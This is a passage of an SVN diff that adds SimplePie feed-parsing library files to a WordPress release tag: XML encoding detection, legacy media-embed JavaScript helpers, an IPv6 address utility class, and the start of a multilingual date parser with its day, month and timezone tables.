+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-32BE';
+		}
+		// UTF-32 Little Endian Without BOM
+		elseif (substr($data, 0, 20) === "\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C\x00\x00\x00")
+		{
+			if ($pos = strpos($data, "\x3F\x00\x00\x00\x3E\x00\x00\x00"))
+			{
+				$parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32LE', 'UTF-8')));
+				if ($parser->parse())
+				{
+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-32LE';
+		}
+		// UTF-16 Big Endian Without BOM
+		elseif (substr($data, 0, 10) === "\x00\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C")
+		{
+			if ($pos = strpos($data, "\x00\x3F\x00\x3E"))
+			{
+				$parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16BE', 'UTF-8')));
+				if ($parser->parse())
+				{
+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-16BE';
+		}
+		// UTF-16 Little Endian Without BOM
+		elseif (substr($data, 0, 10) === "\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C\x00")
+		{
+			if ($pos = strpos($data, "\x3F\x00\x3E\x00"))
+			{
+				$parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16LE', 'UTF-8')));
+				if ($parser->parse())
+				{
+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-16LE';
+		}
+		// US-ASCII (or superset)
+		elseif (substr($data, 0, 5) === "\x3C\x3F\x78\x6D\x6C")
+		{
+			if ($pos = strpos($data, "\x3F\x3E"))
+			{
+				$parser = $registry->create('XML_Declaration_Parser', array(substr($data, 5, $pos - 5)));
+				if ($parser->parse())
+				{
+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-8';
+		}
+		// Fallback to UTF-8
+		else
+		{
+			$encoding[] = 'UTF-8';
+		}
+		return $encoding;
+	}
+
+	public static function output_javascript()
+	{
+		if (function_exists('ob_gzhandler'))
+		{
+			ob_start('ob_gzhandler');
+		}
+		header('Content-type: text/javascript; charset: UTF-8');
+		header('Cache-Control: must-revalidate');
+		header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 604800) . ' GMT'); // 7 days
+		?>
+function embed_quicktime(type, bgcolor, width, height, link, placeholder, loop) {
+	if (placeholder != '') {
+		document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" href="'+link+'" src="'+placeholder+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="false" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
+	}
+	else {
+		document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" src="'+link+'" width="'+width+'" height="'+height+'" autoplay="false" target="myself" controller="true" loop="'+loop+'" scale="aspect" bgcolor="'+bgcolor+'" pluginspage="http://www.apple.com/quicktime/download/"></embed>');
+	}
+}
+
+function embed_flash(bgcolor, width, height, link, loop, type) {
+	document.writeln('<embed src="'+link+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="'+type+'" quality="high" width="'+width+'" height="'+height+'" bgcolor="'+bgcolor+'" loop="'+loop+'"></embed>');
+}
+
+function embed_flv(width, height, link, placeholder, loop, player) {
+	document.writeln('<embed src="'+player+'" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" quality="high" width="'+width+'" height="'+height+'" wmode="transparent" flashvars="file='+link+'&autostart=false&repeat='+loop+'&showdigits=true&showfsbutton=false"></embed>');
+}
+
+function embed_wmedia(width, height, link) {
+	document.writeln('<embed type="application/x-mplayer2" src="'+link+'" autosize="1" width="'+width+'" height="'+height+'" showcontrols="1" showstatusbar="0" showdisplay="0" autostart="0"></embed>');
+}
+		<?php
+	}
+
+	/**
+	 * Get the SimplePie build timestamp
+	 *
+	 * Uses the git index if it exists, otherwise uses the modification time
+	 * of the newest file.
+	 */
+	public static function get_build()
+	{
+		$root = dirname(dirname(__FILE__));
+		if (file_exists($root . '/.git/index'))
+		{
+			return filemtime($root . '/.git/index');
+		}
+		elseif (file_exists($root . '/SimplePie'))
+		{
+			$time = 0;
+			foreach (glob($root . '/SimplePie/*.php') as $file)
+			{
+				if (($mtime = filemtime($file)) > $time)
+				{
+					$time = $mtime;
+				}
+			}
+			return $time;
+		}
+		elseif (file_exists(dirname(__FILE__) . '/Core.php'))
+		{
+			return filemtime(dirname(__FILE__) . '/Core.php');
+		}
+		else
+		{
+			return filemtime(__FILE__);
+		}
+	}
+
+	/**
+	 * Format debugging information
+	 */
+	public static function debug(&$sp)
+	{
+		$info = 'SimplePie ' . SIMPLEPIE_VERSION . ' Build ' . SIMPLEPIE_BUILD . "\n";
+		$info .= 'PHP ' . PHP_VERSION . "\n";
+		if ($sp->error() !== null)
+		{
+			$info .= 'Error occurred: ' . $sp->error() . "\n";
+		}
+		else
+		{
+			$info .= "No error found.\n";
+		}
+		$info .= "Extensions:\n";
+		$extensions = array('pcre', 'curl', 'zlib', 'mbstring', 'iconv', 'xmlreader', 'xml');
+		foreach ($extensions as $ext)
+		{
+			if (extension_loaded($ext))
+			{
+				$info .= "    $ext loaded\n";
+				switch ($ext)
+				{
+					case 'pcre':
+						$info .= '      Version ' . PCRE_VERSION . "\n";
+						break;
+					case 'curl':
+						$version = curl_version();
+						$info .= '      Version ' . $version['version'] . "\n";
+						break;
+					case 'mbstring':
+						$info .= '      Overloading: ' . mb_get_info('func_overload') . "\n";
+						break;
+					case 'iconv':
+						$info .= '      Version ' . ICONV_VERSION . "\n";
+						break;
+					case 'xml':
+						$info .= '      Version ' . LIBXML_DOTTED_VERSION . "\n";
+						break;
+				}
+			}
+			else
+			{
+				$info .= "    $ext not loaded\n";
+			}
+		}
+		return $info;
+	}
+
+	public static function silence_errors($num, $str)
+	{
+		// No-op
+	}
+}
+
Index: /tags/5.0.20/src/wp-includes/SimplePie/Net/IPv6.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Net/IPv6.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Net/IPv6.php	(revision 56912)
@@ -0,0 +1,276 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+
+/**
+ * Class to validate and to work with IPv6 addresses.
+ *
+ * @package SimplePie
+ * @subpackage HTTP
+ * @copyright 2003-2005 The PHP Group
+ * @license http://www.opensource.org/licenses/bsd-license.php
+ * @link http://pear.php.net/package/Net_IPv6
+ * @author Alexander Merz <alexander.merz@web.de>
+ * @author elfrink at introweb dot nl
+ * @author Josh Peck <jmp at joshpeck dot org>
+ * @author Geoffrey Sneddon <geoffers@gmail.com>
+ */
+class SimplePie_Net_IPv6
+{
+	/**
+	 * Uncompresses an IPv6 address
+	 *
+	 * RFC 4291 allows you to compress concecutive zero pieces in an address to
+	 * '::'. This method expects a valid IPv6 address and expands the '::' to
+	 * the required number of zero pieces.
+	 *
+	 * Example:  FF01::101   ->  FF01:0:0:0:0:0:0:101
+	 *           ::1         ->  0:0:0:0:0:0:0:1
+	 *
+	 * @author Alexander Merz <alexander.merz@web.de>
+	 * @author elfrink at introweb dot nl
+	 * @author Josh Peck <jmp at joshpeck dot org>
+	 * @copyright 2003-2005 The PHP Group
+	 * @license http://www.opensource.org/licenses/bsd-license.php
+	 * @param string $ip An IPv6 address
+	 * @return string The uncompressed IPv6 address
+	 */
+	public static function uncompress($ip)
+	{
+		$c1 = -1;
+		$c2 = -1;
+		if (substr_count($ip, '::') === 1)
+		{
+			list($ip1, $ip2) = explode('::', $ip);
+			if ($ip1 === '')
+			{
+				$c1 = -1;
+			}
+			else
+			{
+				$c1 = substr_count($ip1, ':');
+			}
+			if ($ip2 === '')
+			{
+				$c2 = -1;
+			}
+			else
+			{
+				$c2 = substr_count($ip2, ':');
+			}
+			if (strpos($ip2, '.') !== false)
+			{
+				$c2++;
+			}
+			// ::
+			if ($c1 === -1 && $c2 === -1)
+			{
+				$ip = '0:0:0:0:0:0:0:0';
+			}
+			// ::xxx
+			else if ($c1 === -1)
+			{
+				$fill = str_repeat('0:', 7 - $c2);
+				$ip = str_replace('::', $fill, $ip);
+			}
+			// xxx::
+			else if ($c2 === -1)
+			{
+				$fill = str_repeat(':0', 7 - $c1);
+				$ip = str_replace('::', $fill, $ip);
+			}
+			// xxx::xxx
+			else
+			{
+				$fill = ':' . str_repeat('0:', 6 - $c2 - $c1);
+				$ip = str_replace('::', $fill, $ip);
+			}
+		}
+		return $ip;
+	}
+
+	/**
+	 * Compresses an IPv6 address
+	 *
+	 * RFC 4291 allows you to compress concecutive zero pieces in an address to
+	 * '::'. This method expects a valid IPv6 address and compresses consecutive
+	 * zero pieces to '::'.
+	 *
+	 * Example:  FF01:0:0:0:0:0:0:101   ->  FF01::101
+	 *           0:0:0:0:0:0:0:1        ->  ::1
+	 *
+	 * @see uncompress()
+	 * @param string $ip An IPv6 address
+	 * @return string The compressed IPv6 address
+	 */
+	public static function compress($ip)
+	{
+		// Prepare the IP to be compressed
+		$ip = self::uncompress($ip);
+		$ip_parts = self::split_v6_v4($ip);
+
+		// Replace all leading zeros
+		$ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]);
+
+		// Find bunches of zeros
+		if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE))
+		{
+			$max = 0;
+			$pos = null;
+			foreach ($matches[0] as $match)
+			{
+				if (strlen($match[0]) > $max)
+				{
+					$max = strlen($match[0]);
+					$pos = $match[1];
+				}
+			}
+
+			$ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max);
+		}
+
+		if ($ip_parts[1] !== '')
+		{
+			return implode(':', $ip_parts);
+		}
+		else
+		{
+			return $ip_parts[0];
+		}
+	}
+
+	/**
+	 * Splits an IPv6 address into the IPv6 and IPv4 representation parts
+	 *
+	 * RFC 4291 allows you to represent the last two parts of an IPv6 address
+	 * using the standard IPv4 representation
+	 *
+	 * Example:  0:0:0:0:0:0:13.1.68.3
+	 *           0:0:0:0:0:FFFF:129.144.52.38
+	 *
+	 * @param string $ip An IPv6 address
+	 * @return array [0] contains the IPv6 represented part, and [1] the IPv4 represented part
+	 */
+	private static function split_v6_v4($ip)
+	{
+		if (strpos($ip, '.') !== false)
+		{
+			$pos = strrpos($ip, ':');
+			$ipv6_part = substr($ip, 0, $pos);
+			$ipv4_part = substr($ip, $pos + 1);
+			return array($ipv6_part, $ipv4_part);
+		}
+		else
+		{
+			return array($ip, '');
+		}
+	}
+
+	/**
+	 * Checks an IPv6 address
+	 *
+	 * Checks if the given IP is a valid IPv6 address
+	 *
+	 * @param string $ip An IPv6 address
+	 * @return bool true if $ip is a valid IPv6 address
+	 */
+	public static function check_ipv6($ip)
+	{
+		$ip = self::uncompress($ip);
+		list($ipv6, $ipv4) = self::split_v6_v4($ip);
+		$ipv6 = explode(':', $ipv6);
+		$ipv4 = explode('.', $ipv4);
+		if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4)
+		{
+			foreach ($ipv6 as $ipv6_part)
+			{
+				// The section can't be empty
+				if ($ipv6_part === '')
+					return false;
+
+				// Nor can it be over four characters
+				if (strlen($ipv6_part) > 4)
+					return false;
+
+				// Remove leading zeros (this is safe because of the above)
+				$ipv6_part = ltrim($ipv6_part, '0');
+				if ($ipv6_part === '')
+					$ipv6_part = '0';
+
+				// Check the value is valid
+				$value = hexdec($ipv6_part);
+				if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF)
+					return false;
+			}
+			if (count($ipv4) === 4)
+			{
+				foreach ($ipv4 as $ipv4_part)
+				{
+					$value = (int) $ipv4_part;
+					if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF)
+						return false;
+				}
+			}
+			return true;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Checks if the given IP is a valid IPv6 address
+	 *
+	 * @codeCoverageIgnore
+	 * @deprecated Use {@see SimplePie_Net_IPv6::check_ipv6()} instead
+	 * @see check_ipv6
+	 * @param string $ip An IPv6 address
+	 * @return bool true if $ip is a valid IPv6 address
+	 */
+	public static function checkIPv6($ip)
+	{
+		return self::check_ipv6($ip);
+	}
+}
Index: /tags/5.0.20/src/wp-includes/SimplePie/Parse/Date.php
===================================================================
--- /tags/5.0.20/src/wp-includes/SimplePie/Parse/Date.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/SimplePie/Parse/Date.php	(revision 56912)
@@ -0,0 +1,984 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+
+/**
+ * Date Parser
+ *
+ * @package SimplePie
+ * @subpackage Parsing
+ */
+class SimplePie_Parse_Date
+{
+	/**
+	 * Input data
+	 *
+	 * @access protected
+	 * @var string
+	 */
+	var $date;
+
+	/**
+	 * List of days, calendar day name => ordinal day number in the week
+	 *
+	 * @access protected
+	 * @var array
+	 */
+	var $day = array(
+		// English
+		'mon' => 1,
+		'monday' => 1,
+		'tue' => 2,
+		'tuesday' => 2,
+		'wed' => 3,
+		'wednesday' => 3,
+		'thu' => 4,
+		'thursday' => 4,
+		'fri' => 5,
+		'friday' => 5,
+		'sat' => 6,
+		'saturday' => 6,
+		'sun' => 7,
+		'sunday' => 7,
+		// Dutch
+		'maandag' => 1,
+		'dinsdag' => 2,
+		'woensdag' => 3,
+		'donderdag' => 4,
+		'vrijdag' => 5,
+		'zaterdag' => 6,
+		'zondag' => 7,
+		// French
+		'lundi' => 1,
+		'mardi' => 2,
+		'mercredi' => 3,
+		'jeudi' => 4,
+		'vendredi' => 5,
+		'samedi' => 6,
+		'dimanche' => 7,
+		// German
+		'montag' => 1,
+		'dienstag' => 2,
+		'mittwoch' => 3,
+		'donnerstag' => 4,
+		'freitag' => 5,
+		'samstag' => 6,
+		'sonnabend' => 6,
+		'sonntag' => 7,
+		// Italian
+		'lunedì' => 1,
+		'martedì' => 2,
+		'mercoledì' => 3,
+		'giovedì' => 4,
+		'venerdì' => 5,
+		'sabato' => 6,
+		'domenica' => 7,
+		// Spanish
+		'lunes' => 1,
+		'martes' => 2,
+		'miércoles' => 3,
+		'jueves' => 4,
+		'viernes' => 5,
+		'sábado' => 6,
+		'domingo' => 7,
+		// Finnish
+		'maanantai' => 1,
+		'tiistai' => 2,
+		'keskiviikko' => 3,
+		'torstai' => 4,
+		'perjantai' => 5,
+		'lauantai' => 6,
+		'sunnuntai' => 7,
+		// Hungarian
+		'hétfő' => 1,
+		'kedd' => 2,
+		'szerda' => 3,
+		'csütörtok' => 4,
+		'péntek' => 5,
+		'szombat' => 6,
+		'vasárnap' => 7,
+		// Greek
+		'Δευ' => 1,
+		'Τρι' => 2,
+		'Τετ' => 3,
+		'Πεμ' => 4,
+		'Παρ' => 5,
+		'Σαβ' => 6,
+		'Κυρ' => 7,
+	);
+
+	/**
+	 * List of months, calendar month name => calendar month number
+	 *
+	 * @access protected
+	 * @var array
+	 */
+	var $month = array(
+		// English
+		'jan' => 1,
+		'january' => 1,
+		'feb' => 2,
+		'february' => 2,
+		'mar' => 3,
+		'march' => 3,
+		'apr' => 4,
+		'april' => 4,
+		'may' => 5,
+		// No long form of May
+		'jun' => 6,
+		'june' => 6,
+		'jul' => 7,
+		'july' => 7,
+		'aug' => 8,
+		'august' => 8,
+		'sep' => 9,
+		'september' => 8,
+		'oct' => 10,
+		'october' => 10,
+		'nov' => 11,
+		'november' => 11,
+		'dec' => 12,
+		'december' => 12,
+		// Dutch
+		'januari' => 1,
+		'februari' => 2,
+		'maart' => 3,
+		'april' => 4,
+		'mei' => 5,
+		'juni' => 6,
+		'juli' => 7,
+		'augustus' => 8,
+		'september' => 9,
+		'oktober' => 10,
+		'november' => 11,
+		'december' => 12,
+		// French
+		'janvier' => 1,
+		'février' => 2,
+		'mars' => 3,
+		'avril' => 4,
+		'mai' => 5,
+		'juin' => 6,
+		'juillet' => 7,
+		'août' => 8,
+		'septembre' => 9,
+		'octobre' => 10,
+		'novembre' => 11,
+		'décembre' => 12,
+		// German
+		'januar' => 1,
+		'februar' => 2,
+		'märz' => 3,
+		'april' => 4,
+		'mai' => 5,
+		'juni' => 6,
+		'juli' => 7,
+		'august' => 8,
+		'september' => 9,
+		'oktober' => 10,
+		'november' => 11,
+		'dezember' => 12,
+		// Italian
+		'gennaio' => 1,
+		'febbraio' => 2,
+		'marzo' => 3,
+		'aprile' => 4,
+		'maggio' => 5,
+		'giugno' => 6,
+		'luglio' => 7,
+		'agosto' => 8,
+		'settembre' => 9,
+		'ottobre' => 10,
+		'novembre' => 11,
+		'dicembre' => 12,
+		// Spanish
+		'enero' => 1,
+		'febrero' => 2,
+		'marzo' => 3,
+		'abril' => 4,
+		'mayo' => 5,
+		'junio' => 6,
+		'julio' => 7,
+		'agosto' => 8,
+		'septiembre' => 9,
+		'setiembre' => 9,
+		'octubre' => 10,
+		'noviembre' => 11,
+		'diciembre' => 12,
+		// Finnish
+		'tammikuu' => 1,
+		'helmikuu' => 2,
+		'maaliskuu' => 3,
+		'huhtikuu' => 4,
+		'toukokuu' => 5,
+		'kesäkuu' => 6,
+		'heinäkuu' => 7,
+		'elokuu' => 8,
+		'suuskuu' => 9,
+		'lokakuu' => 10,
+		'marras' => 11,
+		'joulukuu' => 12,
+		// Hungarian
+		'január' => 1,
+		'február' => 2,
+		'március' => 3,
+		'április' => 4,
+		'május' => 5,
+		'június' => 6,
+		'július' => 7,
+		'augusztus' => 8,
+		'szeptember' => 9,
+		'október' => 10,
+		'november' => 11,
+		'december' => 12,
+		// Greek
+		'Ιαν' => 1,
+		'Φεβ' => 2,
+		'Μάώ' => 3,
+		'Μαώ' => 3,
+		'Απρ' => 4,
+		'Μάι' => 5,
+		'Μαϊ' => 5,
+		'Μαι' => 5,
+		'Ιούν' => 6,
+		'Ιον' => 6,
+		'Ιούλ' => 7,
+		'Ιολ' => 7,
+		'Αύγ' => 8,
+		'Αυγ' => 8,
+		'Σεπ' => 9,
+		'Οκτ' => 10,
+		'Νοέ' => 11,
+		'Δεκ' => 12,
+	);
+
+	/**
+	 * List of timezones, abbreviation => offset from UTC
+	 *
+	 * @access protected
+	 * @var array
+	 */
+	var $timezone = array(
+		'ACDT' => 37800,
+		'ACIT' => 28800,
+		'ACST' => 34200,
+		'ACT' => -18000,
+		'ACWDT' => 35100,
+		'ACWST' => 31500,
+		'AEDT' => 39600,
+		'AEST' => 36000,
+		'AFT' => 16200,
+		'AKDT' => -28800,
+		'AKST' => -32400,
+		'AMDT' => 18000,
+		'AMT' => -14400,
+		'ANAST' => 46800,
+		'ANAT' => 43200,
+		'ART' => -10800,
+		'AZOST' => -3600,
+		'AZST' => 18000,
+		'AZT' => 14400,
+		'BIOT' => 21600,
+		'BIT' => -43200,
+		'BOT' => -14400,
+		'BRST' => -7200,
+		'BRT' => -10800,
+		'BST' => 3600,
+		'BTT' => 21600,
+		'CAST' => 18000,
+		'CAT' => 7200,
+		'CCT' => 23400,
+		'CDT' => -18000,
+		'CEDT' => 7200,
+		'CEST' => 7200,
+		'CET' => 3600,
+		'CGST' => -7200,
+		'CGT' => -10800,
+		'CHADT' => 49500,
+		'CHAST' => 45900,
+		'CIST' => -28800,
+		'CKT' => -36000,
+		'CLDT' => -10800,
+		'CLST' => -14400,
+		'COT' => -18000,
+		'CST' => -21600,
+		'CVT' => -3600,
+		'CXT' => 25200,
+		'DAVT' => 25200,
+		'DTAT' => 36000,
+		'EADT' => -18000,
+		'EAST' => -21600,
+		'EAT' => 10800,
+		'ECT' => -18000,
+		'EDT' => -14400,
+		'EEST' => 10800,
+		'EET' => 7200,
+		'EGT' => -3600,
+		'EKST' => 21600,
+		'EST' => -18000,
+		'FJT' => 43200,
+		'FKDT' => -10800,
+		'FKST' => -14400,
+		'FNT' => -7200,
+		'GALT' => -21600,
+		'GEDT' => 14400,
+		'GEST' => 10800,
+		'GFT' => -10800,
+		'GILT' => 43200,
+		'GIT' => -32400,
+		'GST' => 14400,
+		'GST' => -7200,
+		'GYT' => -14400,
+		'HAA' => -10800,
+		'HAC' => -18000,
+		'HADT' => -32400,
+		'HAE' => -14400,
+		'HAP' => -25200,
+		'HAR' => -21600,
+		'HAST' => -36000,
+		'HAT' => -9000,
+		'HAY' => -28800,
+		'HKST' => 28800,
+		'HMT' => 18000,
+		'HNA' => -14400,
+		'HNC' => -21600,
+		'HNE' => -18000,
+		'HNP' => -28800,
+		'HNR' => -25200,
+		'HNT' => -12600,
+		'HNY' => -32400,
+		'IRDT' => 16200,
+		'IRKST' => 32400,
+		'IRKT' => 28800,
+		'IRST' => 12600,
+		'JFDT' => -10800,
+		'JFST' => -14400,
+		'JST' => 32400,
+		'KGST' => 21600,
+		'KGT' => 18000,
+		'KOST' => 39600,
+		'KOVST' => 28800,
+		'KOVT' => 25200,
+		'KRAST' => 28800,
+		'KRAT' => 25200,
+		'KST' => 32400,
+		'LHDT' => 39600,
+		'LHST' => 37800,
+		'LINT' => 50400,
+		'LKT' => 21600,
+		'MAGST' => 43200,
+		'MAGT' => 39600,
+		'MAWT' => 21600,
+		'MDT' => -21600,
+		'MESZ' => 7200,
+		'MEZ' => 3600,
+		'MHT' => 43200,
+		'MIT' => -34200,
+		'MNST' => 32400,
+		'MSDT' => 14400,
+		'MSST' => 10800,
+		'MST' => -25200,
+		'MUT' => 14400,
+		'MVT' => 18000,
+		'MYT' => 28800,
+		'NCT' => 39600,
+		'NDT' => -9000,
+		'NFT' => 41400,
+		'NMIT' => 36000,
+		'NOVST' => 25200,
+		'NOVT' => 21600,
+		'NPT' => 20700,
+		'NRT' => 43200,
+		'NST' => -12600,
+		'NUT' => -39600,
+		'NZDT' => 46800,
+		'NZST' => 43200,
+		'OMSST' => 25200,
+		'OMST' => 21600,
+		'PDT' => -25200,
+		'PET' => -18000,
+		'PETST' => 46800,
+		'PETT' => 43200,
+		'PGT' => 36000,
+		'PHOT' => 46800,
+		'PHT' => 28800,
+		'PKT' => 18000,
+		'PMDT' => -7200,
+		'PMST' => -10800,
+		'PONT' => 39600,
+		'PST' => -28800,
+		'PWT' => 32400,
+		'PYST' => -10800,
+		'PYT' => -14400,
+		'RET' => 14400,
+		'ROTT' => -10800,
+		'SAMST' => 18000,
+		'SAMT' => 14400,
+		'SAST' => 7200,
+		'SBT' => 39600,
+		'SCDT' => 46800,
+		'SCST' => 43200,
+		'SCT' => 14400,
+		'SEST' => 3600,
+		'SGT' => 28800,
+		'SIT' => 28800,
+		'SRT' => -10800,
+		'SST' => -39600,
+		'SYST' => 10800,
+		'SYT' => 7200,
+		'TFT' => 18000,
+		'THAT' => -36000,
+		'TJT' => 18000,
+		'TKT' => -36000,
+		'TMT' => 18000,
+		'TOT' => 46800,
+		'TPT' => 32400,
+		'TRUT' => 36000,
+		'TVT' => 43200,
+		'TWT' => 28800,
+		'UYST' => -7200,
+		'UYT' => -10800,
+		'UZT' => 18000,
+		'VET' => -14400,
+		'VLAST' => 39600,
+		'VLAT' => 36000,
+		'VOST' => 21600,
+		'VUT' => 39600,
+		'WAST' => 7200,
+		'WAT' => 3600,
+		'WDT' => 32400,
+		'WEST' => 3600,
+		'WFT' => 43200,
+		'WIB' => 25200,
+		'WIT' => 32400,
+		'WITA' => 28800,
+		'WKST' => 18000,
+		'WST' => 28800,
+		'YAKST' => 36000,
+		'YAKT' => 32400,
+		'YAPT' => 36000,
+		'YEKST' => 21600,
+		'YEKT' => 18000,
+	);
+
+	/**
+	 * Cached PCRE for SimplePie_Parse_Date::$day
+	 *
+	 * @access protected
+	 * @var string
+	 */
+	var $day_pcre;
+
+	/**
+	 * Cached PCRE for SimplePie_Parse_Date::$month
+	 *
+	 * @access protected
+	 * @var string
+	 */
+	var $month_pcre;
+
+	/**
+	 * Array of user-added callback methods
+	 *
+	 * @access private
+	 * @var array
+	 */
+	var $built_in = array();
+
+	/**
+	 * Array of user-added callback methods
+	 *
+	 * @access private
+	 * @var array
+	 */
+	var $user = array();
+
+	/**
+	 * Create new SimplePie_Parse_Date object, and set self::day_pcre,
+	 * self::month_pcre, and self::built_in
+	 *
+	 * @access private
+	 */
+	public function __construct()
+	{
+		$this->day_pcre = '(' . implode(array_keys($this->day), '|') . ')';
+		$this->month_pcre = '(' . implode(array_keys($this->month), '|') . ')';
+
+		static $cache;
+		if (!isset($cache[get_class($this)]))
+		{
+			$all_methods = get_class_methods($this);
+
+			foreach ($all_methods as $method)
+			{
+				if (strtolower(substr($method, 0, 5)) === 'date_')
+				{
+					$cache[get_class($this)][] = $method;
+				}
+			}
+		}
+
+		foreach ($cache[get_class($this)] as $method)
+		{
+			$this->built_in[] = $method;
+		}
+	}
+
+	/**
+	 * Get the object
+	 *
+	 * @access public
+	 */
+	public static function get()
+	{
+		static $object;
+		if (!$object)
+		{
+			$object = new SimplePie_Parse_Date;
+		}
+		return $object;
+	}
+
+	/**
+	 * Parse a date
+	 *
+	 * @final
+	 * @access public
+	 * @param string $date Date to parse
+	 * @return int Timestamp corresponding to date string, or false on failure
+	 */
+	public function parse($date)
+	{
